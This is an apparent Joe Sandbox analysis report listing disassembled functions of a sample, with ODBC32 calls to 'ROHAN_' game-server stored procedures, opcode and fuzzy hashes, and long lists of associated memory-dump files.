                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_UpdateLadderQuestState] (?,?,?)}
                                                                                                                            • API String ID: 0-1662032588
                                                                                                                            • Opcode ID: 62ea210c04d7f7ea1253cff3e40373ff2988b4bc882a0fdd6ec720fda689ce7a
                                                                                                                            • Instruction ID: 0c000e88e064f7370842a91b166d8d3fd72121e27d3b1c4b0c55091791c92c54
                                                                                                                            • Opcode Fuzzy Hash: 62ea210c04d7f7ea1253cff3e40373ff2988b4bc882a0fdd6ec720fda689ce7a
                                                                                                                            • Instruction Fuzzy Hash: B73125F0AC121B7BFB24CB44CD52FBA7334EB84B14F108399F624AE2C6D5B169408B58
                                                                                                                            Function 0042F7A8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_DeleteKill] (?, ?, ?)},000000FD), ref: 0042F7C8
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042F807
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042F83C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042F874
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042F8AC
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_DeleteKill] (?, ?, ?)}, xrefs: 0042F7BF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_DeleteKill] (?, ?, ?)}
                                                                                                                            • API String ID: 0-3429767106
                                                                                                                            • Opcode ID: e658a7d8f822bcc1b4acfc12eac7a0a07e7659166ba6e5370ce6764a412b591c
                                                                                                                            • Instruction ID: 653344c3325d1753175d7e9282ec8e83b19937b7d3d53aa576d5ad0b3b01fbaf
                                                                                                                            • Opcode Fuzzy Hash: e658a7d8f822bcc1b4acfc12eac7a0a07e7659166ba6e5370ce6764a412b591c
                                                                                                                            • Instruction Fuzzy Hash: 113103F1644214BBEB208F44CC42FA97376EBC4B24F21C385F6186F2C5D9B269608F58
                                                                                                                            Function 0043F862 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetSuitablePlayerForPost](?, ?, ?)},000000FD), ref: 0043F882
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043F8C1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000014,00000000,?,00000015,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043F8F6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000001,0000000C,00000014), ref: 0043F92E
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043F966
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetSuitablePlayerForPost](?, ?, ?)}, xrefs: 0043F879
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetSuitablePlayerForPost](?, ?, ?)}
                                                                                                                            • API String ID: 0-258379439
                                                                                                                            • Opcode ID: ff12e426d00d5b55a864bfa0921e4eeb7622400d33d8e7c86da800f333a9b4f3
                                                                                                                            • Instruction ID: b63aae5c9d1994f4239571223b6e149546b3761beafabfc83bc84c9e591b3271
                                                                                                                            • Opcode Fuzzy Hash: ff12e426d00d5b55a864bfa0921e4eeb7622400d33d8e7c86da800f333a9b4f3
                                                                                                                            • Instruction Fuzzy Hash: 6331C2B1680218BBEB28DFD4CC52FE973B5EB44B18F104189FB146E2C5D5B56E808B58
                                                                                                                            Function 0042E8D5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetSkillGuildList] (?, ?, ?)},000000FD), ref: 0042E8F5
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042E934
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042E969
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042E9A1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042E9D9
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetSkillGuildList] (?, ?, ?)}, xrefs: 0042E8EC
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetSkillGuildList] (?, ?, ?)}
                                                                                                                            • API String ID: 0-1428927117
                                                                                                                            • Opcode ID: 7f51666502635130732ff2366e3ae97eb7768ae2d5d6700cab423cfb0a302101
                                                                                                                            • Instruction ID: acca403623710d732d4c78ad32cb23a299b5098e33e14408e80b211e4c7b4b78
                                                                                                                            • Opcode Fuzzy Hash: 7f51666502635130732ff2366e3ae97eb7768ae2d5d6700cab423cfb0a302101
                                                                                                                            • Instruction Fuzzy Hash: 9F31E3B5A802187BEB248F54CC56FAA7376EBC4B24F108389F6146F2C1D6B669508F58
                                                                                                                            Function 00436A13 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetRecentCharID](?,?,?)},000000FD), ref: 00436A33
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00436A72
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00436AA7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00436ADF
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00436B17
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetRecentCharID](?,?,?)}, xrefs: 00436A2A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetRecentCharID](?,?,?)}
                                                                                                                            • API String ID: 0-3331057167
                                                                                                                            • Opcode ID: 542a91e7d3d88eaff5454a5ae24dd68dab81783df7b12c04dcfb68738b75a630
                                                                                                                            • Instruction ID: 64b3fcdbf73da64d0f6ac08d6d88282dcee068bfdfc4eeaaec5bffa64f94991f
                                                                                                                            • Opcode Fuzzy Hash: 542a91e7d3d88eaff5454a5ae24dd68dab81783df7b12c04dcfb68738b75a630
                                                                                                                            • Instruction Fuzzy Hash: 1A31F1B56446587BFB218B48CC42F9A7374EB84B19F208385F7147E2C4DDB179C08B58
                                                                                                                            Function 004380E6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 84COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_LockChar](?,?,?)} ,000000FD), ref: 004380FA
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043813C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00438174
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004381AC
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 004381E4
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_LockChar](?,?,?)} , xrefs: 004380F1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_LockChar](?,?,?)}
                                                                                                                            • API String ID: 0-3816596972
                                                                                                                            • Opcode ID: 829549942554a6f08dddbf27838ae57beedcf09b8672779d4f980731cedc5ac8
                                                                                                                            • Instruction ID: 78aa28172b8a0b79ae199d7b3e493825f72f1a555ced8e609503c2670bf2adcd
                                                                                                                            • Opcode Fuzzy Hash: 829549942554a6f08dddbf27838ae57beedcf09b8672779d4f980731cedc5ac8
                                                                                                                            • Instruction Fuzzy Hash: A13103B5644214BBEB24CB84CD52FA97334EF80B18F20828AF72D6F2C5D5B57D408B68
                                                                                                                            Function 00439546 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_UpdateBattleRank] (?,?,?) },000000FD), ref: 0043955A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043959C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004395D1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00439609
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00439641
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_UpdateBattleRank] (?,?,?) }, xrefs: 00439551
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
